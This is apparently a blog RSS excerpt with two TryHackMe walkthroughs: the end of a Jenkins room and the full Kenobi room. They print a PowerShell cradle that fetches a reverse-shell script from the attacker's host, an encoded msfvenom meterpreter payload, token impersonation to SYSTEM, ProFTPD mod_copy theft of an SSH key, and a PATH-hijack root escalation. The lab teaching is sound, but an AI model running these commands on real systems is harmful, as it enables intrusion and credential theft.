src="https://cdn-images-1.medium.com/max/1024/1*YwOLXqrbGUeemdHTsAKF9Q.png" /><figcaption>Jenkins Login Page</figcaption></figure><p>The above image shows a login page that I attempted to break into. I have used the OWASP ZAP fuzzer to generate a variety of input data in an attempt to find vulnerabilities in the login page.</p><blockquote>To know how to use OWASP ZAP fuzzer you can visit the below link: -</blockquote><blockquote><a href="https://www.youtube.com/watch?v=YVsU-adgxb4">https://www.youtube.com/watch?v=YVsU-adgxb4</a></blockquote><p>For the username and password, we can use the most common one:-</p><blockquote><strong><em>Answer: admin: admin</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P0Rg7qgd1WqdbN2A9O3G-Q.png" /><figcaption>Home Page</figcaption></figure><p><strong>Question 3: What is the user.txt flag?</strong></p><blockquote>We have to find a feature of the tool that allows us to execute commands on the underlying system<strong>.</strong></blockquote><p>In the above image, there is a section on <em>‘project’.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kWtWPd5990f8gb56A_RS8g.png" /><figcaption><em>&lt;Machine_ip&gt;:8080/job/project</em></figcaption></figure><p>The <strong>configure</strong> section of the web application provides the ability to run commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DiYZCN2WXs4cJQwG-9FDZA.png" /><figcaption>Under Build write the commands</figcaption></figure><p>Under the ‘<em>Build</em>’ section we can execute our commands.</p><p>First, we need to download the Powershell script.</p><p>The powershell script we need is <strong><em>Invoke-PowerShellTcp.ps1 </em></strong>which can be found in the <a href="https://github.com/samratashok/nishang"><strong>Nishang</strong></a> directory from GitHub.</p><p>Clone the directory from GitHub by using the command:</p><pre>git clone https://github.com/samratashok/nishang.git</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eZmBVuwswG8IEKPnyP-0dA.png" /><figcaption>Nishang</figcaption></figure><p>Visit the ‘<em>Shells</em>’ directory under Nishang, there we will find our powershell script ‘<strong><em>Invoke-PowerShellTcp.ps1</em></strong>’.</p><blockquote>Script “Invoke-PowerShellTcp.ps1” is a PowerShell script designed to establish a reverse shell back to the specified IP address and port</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t4ndJRRGx8AhMBvXWj67Xg.png" /><figcaption>Invoke-PowerShellTcp.ps1</figcaption></figure><p>To make it available for the server to download, we can do this by creating an HTTP server with Python: -</p><pre>python3 -m http.server 80</pre><ul><li><strong>python3</strong>: This is the command to start the Python 3 interpreter</li><li><strong>-m</strong>: This flag specifies that a module should be imported and executed</li><li><strong>http.server</strong>: This is the module that provides the HTTP server functionality</li><li><strong>80</strong>: This is the port number that the HTTP server will listen on</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*0mM5D3PONJ_7kN0PV1dCFQ.png" /><figcaption>Python Server</figcaption></figure><p>In order to download the powershell script to the web server, the Configure feature of the server can be leveraged using the following command:</p><pre>powershell iex (New-Object Net.WebClient).DownloadString(&#39;http://your-thm-ip:your_port/Invoke-PowerShellTcp.ps1&#39;);Invoke-PowerShellTcp -Reverse -IPAddress your-thm-ip -Port your-port</pre><p>The above powershell command is a one-liner that performs remote code execution (RCE) using a reverse shell over TCP.</p><ul><li>iex: this is a shorthand for the PowerShell cmdlet “Invoke-Expression,” which is used to evaluate and execute PowerShell commands or scripts that are passed as strings</li><li>(New-Object Net.WebClient).DownloadString(&#39;http://your-thm-ip:your-port/Invoke-PowerShellTcp.ps1&#39;): this part creates a new instance of the .NET WebClient class, which is used to download content from a specified URL. In this case, it downloads the contents of the PowerShell script “Invoke-PowerShellTcp.ps1” from the specified URL</li><li>Invoke-PowerShellTcp -Reverse -IPAddress your-thm-ip -Port your-port: this part executes the downloaded script &quot;Invoke-PowerShellTcp.ps1&quot; with certain parameters</li><li>-Reverse: this parameter likely instructs the &quot;Invoke-PowerShellTcp.ps1&quot; script to create a reverse shell, meaning it will connect back to the specified IP and port to open a command shell on the attacker&#39;s machine, providing remote access and control to the target machine</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WMoC7bbSNwaNVACSijK1EQ.png" /><figcaption>Entering the powershell command</figcaption></figure><p>Before pressing apply we will run a netcat listener on our machine to get a reverse shell using this command: -</p><pre>nc -nvlp 1337</pre><ul><li>-n: flag disables DNS lookups</li><li>-v: flag enables verbose output</li><li>-l: flag specifies that Netcat should listen for connections</li></ul><blockquote>Make sure the port that you’re taking for the Netcat and for the Python server should match the port that you mention in the powershell command.</blockquote><p>After pressing the ‘<strong>Apply’, </strong>the <strong>‘Build Now’</strong> must be clicked in order for the script to take effect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U3fqDsYN_gb8SfwG9h6kFQ.png" /><figcaption>Building</figcaption></figure><p>After doing all the above steps, we must get a reverse shell and it should look something like this: -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k6L4c_uoDTI2rmcTtHJVYw.png" /><figcaption>Got a reverse connection</figcaption></figure><p>To get the user flag we need to visit the Desktop folder, there we will find our flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qlhN1M8RIPPqpubg7THN4A.png" /></figure><h4>[Task 2]: Switching Shells</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/137/1*bQ1uiVtlpgFWhildXhUzeA.png" /><figcaption>Metasploit</figcaption></figure><p>To make the privilege escalation easier, let’s switch to a meterpreter shell using the following process.</p><p>Use msfvenom to create a Windows meterpreter reverse shell using the following payload:</p><pre>msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=&lt;your-thm-ip&gt; LPORT=9999 -f exe -o shell-name.exe</pre><p>The above command provided is a Metasploit Framework command that uses the msfvenom tool to generate a Windows-based payload designed to create a reverse TCP Meterpreter session.</p><ul><li>msfvenom: this is the Metasploit Framework&#39;s payload generator, which is used to create various types of payloads for exploitation</li><li>-p windows/meterpreter/reverse_tcp: this specifies the type of payload to generate. In this case, it is a Windows-based Meterpreter payload that establishes a reverse TCP connection back to the attacker</li><li>-a x86: this option specifies the architecture of the target machine. In this case, it is set to x86, indicating the payload is designed for 32-bit Windows systems</li><li>--encoder x86/shikata_ga_nai: this option specifies the payload encoder to use. In this case, &quot;x86/shikata_ga_nai&quot; is used, which is an alphanumeric encoder that helps evade detection by simple pattern-matching signatures</li><li>LHOST=&lt;your-thm-ip&gt;: this option sets the Local Host IP address, which is the IP address where the reverse shell should connect back. Replace &quot;your-thm-ip&quot; with your THM IP address</li><li>LPORT=9999: this option sets the Local Port, which is the port number the reverse shell should connect back to. Replace &quot;9999&quot; with the actual port number you want to use for the listener.</li><li>-f exe: This option specifies the output format for the payload. In this case, it&#39;s set to &quot;exe,&quot; indicating that the output will be an executable file</li><li>-o shell-name.exe: this option specifies the output file name for the generated payload. In this example, the payload will be saved as &quot;shell.exe.&quot;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_QWAGIQiMibyQXYX9fh1dg.png" /><figcaption>msfvenom payload</figcaption></figure><p>After creating this payload, download it to the machine using the same method in the previous step:</p><pre>powershell &quot;(New-Object System.Net.WebClient).Downloadfile(&#39;http://your-thm-ip:80/shell-name.exe&#39;,&#39;shell-name.exe&#39;)&quot;</pre><p>Before running this program, ensure the handler is set up in Metasploit:</p><pre>use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-thm-ip set LPORT listening-port run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-UiERscfOhYqptcsH7CPXw.png" /><figcaption>msfconsole</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*R5HvkISQxOoHWOxxVxY3rQ.png" /></figure><blockquote>Remember to move the payload created by the msfvenom to the folder from where we initiated the python HTTP server.</blockquote><p>So, the above-mentioned steps look something like this: -</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sRZu8ESwQ8Z6KMU_hkt-0A.png" /></figure><p>To run the executable file: -</p><pre> Start-Process &quot;shell-name.exe&quot;</pre><p>If nothing goes wrong we will get a meterpreter shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XS32qArIqKFIlzkuvtDGtg.png" /><figcaption>Meterpreter Shell</figcaption></figure><p><strong>Question 1: What is the final size of the exe payload that you generated?</strong></p><blockquote><strong><em>Answer: 73802</em></strong></blockquote><h4>[Task 3]: Privilege Escalation</h4><p>Now that we have initial access, let’s use token impersonation to gain system access.</p><p>Windows uses tokens to ensure that accounts have the right privileges to carry out particular actions. Account tokens are assigned to an account when users log in or are authenticated. This is usually done by LSASS.exe(think of this as an authentication process).</p><p>This access token consists of:</p><ul><li>User SIDs(security identifier)</li><li>Group SIDs</li><li>Privileges</li></ul><p>Amongst other things. More detailed information can be found <a href="https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens">here</a>.</p><p>There are two types of access tokens:</p><ul><li>Primary access tokens: those associated with a user account that are generated on log on</li><li>Impersonation tokens: these allow a particular process(or thread in a process) to gain access to resources using the token of another (user/client) process</li></ul><p>For an impersonation token, there are different levels:</p><ul><li>SecurityAnonymous: current user/client cannot impersonate another user/client</li><li>SecurityIdentification: current user/client can get the identity and privileges of a client but cannot impersonate the client</li><li>SecurityImpersonation: current user/client can impersonate the client’s security context on the local system</li><li>SecurityDelegation: current user/client can impersonate the client’s security context on a remote system</li></ul><p>Where the security context is a data structure that contains users’ relevant security information.</p><p>The privileges of an account(which are either given to the account when created or inherited from a group) allow a user to carry out particular actions. Here are the most commonly abused privileges:</p><ul><li>SeImpersonatePrivilege</li><li>SeAssignPrimaryPrivilege</li><li>SeTcbPrivilege</li><li>SeBackupPrivilege</li><li>SeRestorePrivilege</li><li>SeCreateTokenPrivilege</li><li>SeLoadDriverPrivilege</li><li>SeTakeOwnershipPrivilege</li><li>SeDebugPrivilege</li></ul><p><strong>Question 1: View all the privileges using whoami /priv</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*adknsGwuSg98X510zkzc4A.png" /><figcaption>whoami/priv</figcaption></figure><p>We can see that two privileges(SeDebugPrivilege and SeImpersonatePrivilege) are enabled. Let’s use the incognito module that will allow us to exploit this vulnerability.</p><p><strong>Question 2: </strong>Enter: `<em>load incognito` </em>to load the incognito module in Metasploit. Please note that you may need to use the `<em>use incognito` </em>command if the previous command doesn’t work. Also, ensure that your Metasploit is up to date.</p><blockquote>The “Incognito” module is specifically designed to perform post-exploitation activities and privilege escalation within the compromised system, using the obtained session as a starting point. It provides various functionalities to manipulate tokens, impersonate users, avoiding Detection and escalate privileges, among other actions.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*ATAlrWhZWUg-AfzwDSnFGQ.png" /></figure><p>To check which tokens are available, enter the</p><pre>list_tokens -g</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*A14RpElAuKzTLXhWVbicyw.png" /></figure><p>We can see that the <em>BUILTIN\Administrators</em> token is available.</p><p><strong>Question 3: Use the <em>impersonate_token “BUILTIN\Administrators”</em> command to impersonate the Administrators’ token. What is the output when you run the <em>getuid</em> command?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hxSJY9MtqESQYa8E_hzPLA.png" /></figure><blockquote><strong><em>Answer: NT AUTHORITY\SYSTEM</em></strong></blockquote><blockquote>Even though you have a higher privileged token, we may not have the permissions of a privileged user (this is due to the way Windows handles permissions — it uses the Primary Token of the process and not the impersonated token to determine what the process can or cannot do).</blockquote><p><strong>Question 4: </strong>Ensure that you migrate to a process with correct permissions (the above question’s answer). The safest process to pick is the <strong><em>services.exe</em></strong> process. First, use the `<strong><em>ps</em></strong><em>` </em>command to view processes and find the PID of the services.exe process. Migrate to this process using the command `<strong><em>migrate PID-OF-PROCESS`</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b9h705twiRHnDcoPOnrzHQ.png" /></figure><p>Here we have <strong>668</strong> PID of <strong><em>services.exe</em></strong></p><p>Use command:</p><pre>migrate 668</pre><p><strong>Question 5: Read the root.txt file located at C:\Windows\System32\config</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xvNvBKg2-ofIxtO0VZRprw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z5cHsZc5N9cdSSEi-wGFeQ.png" /></figure><p>Use <strong><em>cat root.txt</em></strong><em> </em>to get the flag for the root user.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b2c522cbee56" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Kenobi]]></title>
            <link>https://medium.com/@ayandey_75377/tryhackme-kenobi-b66e3e9b8bed?source=rss-7ef4869f26de------2</link>
            <guid isPermaLink="false">https://medium.com/p/b66e3e9b8bed</guid>
            <category><![CDATA[kenobi]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Ayan Dey]]></dc:creator>
            <pubDate>Sun, 16 Jul 2023 14:01:49 GMT</pubDate>
            <atom:updated>2023-08-10T09:57:13.252Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*FbUbzOCeCbxdPQDZS-zhhA.png" /><figcaption>Kenobi</figcaption></figure><h4>Walkthrough of room <a href="https://tryhackme.com/room/kenobi">Kenobi</a> from Offensive Pentesting</h4><p>As part of my journey in offensive pentesting, I came across the Kenobi room on TryHackMe. I found the room to be of interest, as it covered a number of techniques that I am eager to learn more about. In order to ensure that I retain the knowledge that I gained from the room, I am documenting my walkthrough of it.</p><ul><li>We are going to exploit a Linux Machine</li><li>Enumerate Samba for shares</li><li>Manipulate a vulnerable version of proftpd</li><li>Escalate privileges with path variable manipulation</li></ul><p>As we walk through this room, I will explain each step and concept in a manner that is as simple to comprehend as possible.</p><p><strong>Let’s get started😃</strong></p><h4>[Task 1]: Deploy the vulnerable machine</h4><p>This room will cover accessing a Samba share, manipulating a vulnerable version of proftpd to gain initial access, and escalating our privileges to root via a SUID binary.</p><p><strong>Question 1: Make sure we’re connected to our network and deploy the machine</strong></p><p>To begin this room, click the <strong>Start Machine</strong> button. If you do not have your own Kali machine or the appropriate environment, you can use the <strong>Attack Machine</strong> or <strong>Kali Box</strong> provided by TryHackMe. These machines are pre-configured with all of the necessary tools and software, making it easy to get started.</p><p><strong>Question 2: Scan the machine with nmap, how many ports are open?</strong></p><p>To scan for the open ports, I have used this nmap command:</p><pre>sudo nmap -sS -sV -T4 -oN nmap.txt &lt;Machine_ip&gt;<br>&lt;Machine_ip&gt; -&gt; 10.10.38.39</pre><ul><li><strong>sudo:</strong> This is a command that gives us root privileges on our computer. This is necessary for running Nmap as it requires administrative privileges to scan network hosts if we are not the root.</li><li><strong>-sS:</strong> This option tells Nmap to perform a TCP SYN scan. This is a common type of scan that is used to identify open ports on a host.</li><li><strong>-sV:</strong> This option tells Nmap to perform a service version scan. This scan will identify the services that are running on open ports.</li><li><strong>-T4:</strong> This option tells Nmap to use a high scan speed. This will speed up the scan, but it may also make it more detectable by the target host.</li><li><strong>-oN nmap.txt:</strong> This option tells Nmap to write the scan results to a file called nmap.txt. This file can be opened in a text editor to view the scan results.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*HWt3iBBSxbDbRuLIMidCog.png" /><figcaption>Nmap scan showing open port and the services running on it</figcaption></figure><p>So from the result of nmap, we found<strong> ProFTPD</strong>, which we will be looking at soon, is running on <strong>port 21</strong>, we have a website running on <strong>port 80</strong>, rpcbing on <strong>port 111, </strong>and Samba smbd on <strong>port 139, 445.</strong></p><blockquote><strong><em>Answer: </em></strong><em>7</em></blockquote><p>We can view the website by entering the <strong>Machine_ip</strong> in the browser.</p><p>I have not seen a single Star Wars movie, so I am not qualified to comment on the picture we see on the website.</p><p>In the spirit of Star Wars humor, I would like to add that I am not a Jedi Master, so I cannot use the Force to see the picture. 😅</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n-j33AZBDzEgW-Yq5mad-g.png" /><figcaption>Characters from Star War</figcaption></figure><h4><strong>[Task 2]: Enumerating Samba for shares</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*4UZcVDBA9VWuqMqdtSiiXA.png" /><figcaption>Samba</figcaption></figure><blockquote>Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers, and other commonly shared resources on a company&#39;s intranet or internet. Its often referred to as a network file system.</blockquote><blockquote>Samba is based on the common client/server protocol of <strong>Server Message Block (SMB)</strong>. SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.</blockquote><p>Using nmap we can enumerate a machine for SMB shares.</p><p>Nmap has the ability to run to automate a wide variety of networking tasks.</p><p>To look for nmap scripts related to smb, we can use the below command:-</p><pre>ls -al /usr/share/nmap/scripts/ | grep smb </pre><p>To enumerate the shares we can use the following command: -</p><pre>nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse &lt;Machine_ip&gt;</pre><ul><li>-p 445: This flag specifies that the scan should be performed on port 445</li><li>--script: This flag specifies that the smb-enum-shares.nse and smb-enum-users.nse scripts should be used</li><li>smb-enum-shares.nse: This script attempts to enumerate the <em>shares</em> on a remote machine</li><li>smb-enum-users.nse: This script attempts to enumerate the <em>users</em> on a remote machine</li></ul><p>SMB has two ports, 445 and 139.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*_lSPDh6km1x8HdF1T1GcNA.png" /><figcaption>SMB ports</figcaption></figure><p><strong>Question 1: Using the nmap command above, how many shares have been found?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*cUTI87rSplH1Ja-EIwF3zw.png" /></figure><p>The above result shows <strong><em>three </em></strong>shares named <strong>IPC, anonymous, </strong>and <strong>print.</strong></p><blockquote><strong><em>Answer: 3</em></strong></blockquote><p><strong>Question 2: Once we’re connected, list the files on the share. What is the file can we see?</strong></p><p>On most distributions of Linux, smbclient is already installed. Let&#39;s inspect one of the shares <em>anonymous.</em></p><pre>smbclient //&lt;Machine_ip&gt;/anonymous</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*f3GbZoPxWpRegyWdg8LQ9g.png" /><figcaption>Connecting to the share anonymous</figcaption></figure><p>After connecting to the anonymous share we will use the <strong><em>dir</em></strong><em> </em>command to list out all the files present in the current directory.</p><blockquote><strong><em>Answer: log.txt</em></strong></blockquote><p>To download the <strong>log.txt</strong> file to our own system, we can use the following command: -</p><pre>get log.txt</pre><p>It will save the file in the current directory in which we’re in.</p><p>To view the log.txt file, we can either quit the current smbclient session or open a new shell and navigate to the directory from where we initiated the session.</p><p><strong>Question 3: What port is FTP running on?</strong></p><p>As soon as we are on the current directory we will use the <strong>cat</strong> command to see the content in the <strong>log.txt </strong>file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*cnbRI3avZEcjqQXOmYwzkg.png" /><figcaption>log.txt</figcaption></figure><blockquote><strong><em>Answer: 21</em></strong></blockquote><p><strong>Question 4: What mount can we see?</strong></p><p>Our earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number it&#39;s prepared to serve.</p><p>In our case, port 111 is access to a network file system.</p><p>Lets use nmap to enumerate this.</p><pre>nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount &lt;Machine_ip&gt;</pre><ul><li>-p 111: This flag specifies that the scan should be performed on port 111</li><li>--script: This flag specifies that the nfs-ls, nfs-statfs, and nfs-showmount scripts should be used</li><li>nfs-ls: This script attempts to list the contents of an NFS share</li><li>nfs-statfs: This script attempts to retrieve file system information from an NFS share</li><li>nfs-showmount: This script attempts to list the export list for an NFS server</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*jHOvy4gLwodgZr84TtzlyA.png" /><figcaption>Enumerating NFS shares</figcaption></figure><blockquote><strong><em>Answer: /var</em></strong></blockquote><h4>[Task 3]: Gain initial access with ProFtpd</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/405/1*02WFfqeGMrBgmMlm1-082w.png" /><figcaption>ProFtpd</figcaption></figure><p>ProFtpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software versions.</p><p><strong>Question 1: What is the version?</strong></p><p>From the nmap scan we have done previously we can see the version for the ProFtpd.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*Ok5g9rbXZRNXc2zfLWZnJQ.png" /></figure><blockquote><strong><em>Answer: 1.3.5</em></strong></blockquote><p><strong>Question 2: How many exploits are there for the ProFTPd running?</strong></p><p>We can use <strong>searchsploit</strong> to find exploits for a particular software version.</p><p>Searchsploit is basically just a command-line search tool for exploit-db.com.</p><p>Using seachspolit is very easy, just type searchsploit and the keywords of the software for which we are searching the exploits like mentioned below:</p><pre>searchsploit proftpd 1.3.5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wvemxip3liXCvcw2HnqtJA.png" /><figcaption>searchsploit</figcaption></figure><blockquote><strong><em>Answer: 4</em></strong></blockquote><p>From the above results we found an exploit from ProFtpd’s <a href="http://www.proftpd.org/docs/contrib/mod_copy.html">mod_copy module</a>.</p><p>The <strong>mod_copy </strong>module implements <strong>SITE CPFR</strong> and <strong>SITE CPTO</strong> commands, which can be used to copy files/directories from one place to another on the server. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination.</p><p><em>We know that the FTP service is running as the </em><strong><em>Kenobi user </em></strong><em>(from the file on the share) and an ssh key is generated for that user.</em></p><p>We’re now going to copy Kenobi’s private key using SITE CPFR and SITE CPTO commands.</p><p>To do so we will use <strong>netcat </strong>to connect to &lt;Machine_ip&gt; on port 21.</p><pre>nc 10.10.38.39 21<br>SITE CPFR /home/kenobi/.ssh/id_rsa<br>SITE CPTO /var/tmp/id_rsa</pre><ul><li>SITE CPFR: This command copies the file from /home/kenobi/.ssh/id_rsa</li><li>SITE CPTO: This command copies the file to the /var/tmp/id_rsa directory</li></ul><p>These commands will copy the private SSH key for the kenobi user to the /var/tmp/id_rsa directory on the remote machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*XQmMCcyoS39EnoEPu3Aw3w.png" /><figcaption>Connecting to ProFtpd Server 1.3.5</figcaption></figure><p>We knew that the /var directory was a mount we could see (task 2, question 4). So we’ve now moved Kenobi’s private key to the /var/tmp directory.</p><p><strong>Question 3: What is Kenobi’s user flag (/home/kenobi/user.txt)?</strong></p><p>Let&#39;s mount the /var/tmp directory to our machine.</p><pre>sudo mkdir /mnt/kenobiNFS<br>sudo mount &lt;Machine_ip&gt;:/var /mnt/kenobiNFS<br>ls -la /mnt/kenobiNFS</pre><ul><li>sudo mkdir /mnt/kenobiNFS command will create the /mnt/kenobiNFS directory if it does not already exist</li><li>sudo mount &lt;Machine_ip&gt;:/var /mnt/kenobiNFS command will mount the NFS share from the remote machine to the /mnt/kenobiNFS directory</li><li>ls -la /mnt/kenobiNFS command will list the contents of the NFS share</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mmF2a_A9QoxDt7xHOBPnHw.png" /></figure><p>We now have a network mount on our deployed machine! We can go to <strong>/var/tmp</strong> and get the private key then login to Kenobi’s account.</p><p>To do so: -</p><pre>cp /mnt/kenobiNFS/tmp/id_rsa .<br>sudo chmod 600 id_rsa<br>sudo ssh -i Ir_rsa kenobi@&lt;Machine_ip&gt;</pre><ul><li>cp /mnt/kenobiNFS/tmp/id_rsa . This command copies the file /mnt/kenobiNFS/tmp/id_rsa to the current directory. The . symbol refers to the current directory</li><li>sudo chmod 600 id_rsa This command changes the permissions of the file id_rsa to 600. This means that only the owner of the file can read and write to it</li><li>sudo ssh -i id_rsa kenobi@&lt;Machine_ip&gt; This command opens an SSH session to the machine with the IP address &lt;Machine_ip&gt;. The -i flag specifies that the SSH key id_rsa should be used to authenticate to the machine</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*xvnFk0RYJvAQiyjlMmn_7Q.png" /><figcaption>User.flag</figcaption></figure><blockquote>Note: I was unable to copy the SSH key to the current directory. Therefore, I navigated to the directory where the key was originally located and initiated the session from there.</blockquote><p>After connecting to the user kenobi, we can use the <strong>ls </strong>command to list out all the directories. There we found an interesting file named <strong>user.txt</strong>.</p><p>Use the <strong>cat</strong> command to view the content, and there we have got our user flag.</p><h4>[Task 4]: Privilege Escalation with Path Variable Manipulation</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*AUTPXQ9tFr7qsfaL6Qa8eA.png" /><figcaption>SUID</figcaption></figure><blockquote>SUID (Set User ID) is a special permission that can be set on executable files in Unix-like operating systems. When the SUID permission is set on an executable file, the file is executed with the privileges of the file owner instead of the user who is running it. This can be a powerful mechanism for granting temporarily elevated privileges to users.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EJjMyCRO4WS8j6x4opsWSA.png" /></figure><p>SUID bits can be dangerous, some binaries such as <em>passwd</em> need to be run with elevated privileges (as its resetting your password on the system), however other custom files could that have the SUID bit can lead to all sorts of issues.</p><p>To search the a system for these type of files run the following:</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><ul><li>find: This is the name of the find command.</li><li>/: This is the root directory.</li><li>-perm -u=s: This flag specifies that the command should find files that have the setuid bit set.</li><li>-type f: This flag specifies that the command should only find regular files.</li><li>2&gt;/dev/null: This part of the command redirects any error messages to the /dev/null device.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*qW3zRZY_iHhenGyjHH5ToA.png" /><figcaption>Search for SUID</figcaption></figure><p><strong>Question 1: What file looks particularly out of the ordinary?</strong></p><blockquote><em>Answer : /usr/bin/menu</em></blockquote><p><strong>Question 2: Run the binary, how many options appear?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/639/1*h-dnfw6enJ96eflIvR6DwQ.png" /><figcaption>/usr/bin/menu</figcaption></figure><p>Strings is a command on Linux that looks for human readable strings on a binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*HpOq6e_6_bqow_zFDUi33g.png" /></figure><p>The command strings /usr/bin/menu will extract all human-readable strings from the binary /usr/bin/menu. This can be useful for finding out what the binary does, or for identifying potential security vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/222/1*fbXfdwaC6XFoc5xoDqzUqg.png" /></figure><p>The above image shows us the binary is running without a full path (e.g. not using /usr/bin/curl or /usr/bin/uname).</p><p>As this file(/usr/bin/menu) runs as the root user&#39;s privileges, we can manipulate our path to gain a root shell.</p><pre>cd /tmp<br>echo /bin/sh &gt; curl<br>chmod 777 curl<br>export PATH=/tmp:$PATH<br>/usr/bin/menu</pre><ul><li><strong>echo /bin/sh &gt; curl</strong>, this command creates a new file called curl and copies the contents of the /bin/sh file into it. This means that the curl file now contains the contents of the /bin/sh shell.</li><li><strong>chmod 777 curl</strong>, this command changes the permissions of the curl file to 777. This means that anyone can read, write, and execute the file</li><li><strong>export PATH=/tmp:$PATH</strong>, this command adds the /tmp directory to the PATH environment variable. This means that when the curl command is executed, the system will look for the curl file in the /tmp directory first</li></ul><blockquote>We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary.. Which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HY2TaijZh1gJjzYXXcBCSg.png" /></figure><p><strong>Question 3: What is the root flag (/root/root.txt)?</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Wg67gqzBcUIVMoGg0g1YRw.png" /></figure><p>In the above images I used some common commands to get the user flag.</p><ul><li>ls -l, lists the contents of the current directory in long format</li><li>cd /root, changing to root directory</li></ul><p>Under root directory we can see a text file <strong>root.txt, </strong>which have the root flag in it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b66e3e9b8bed" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>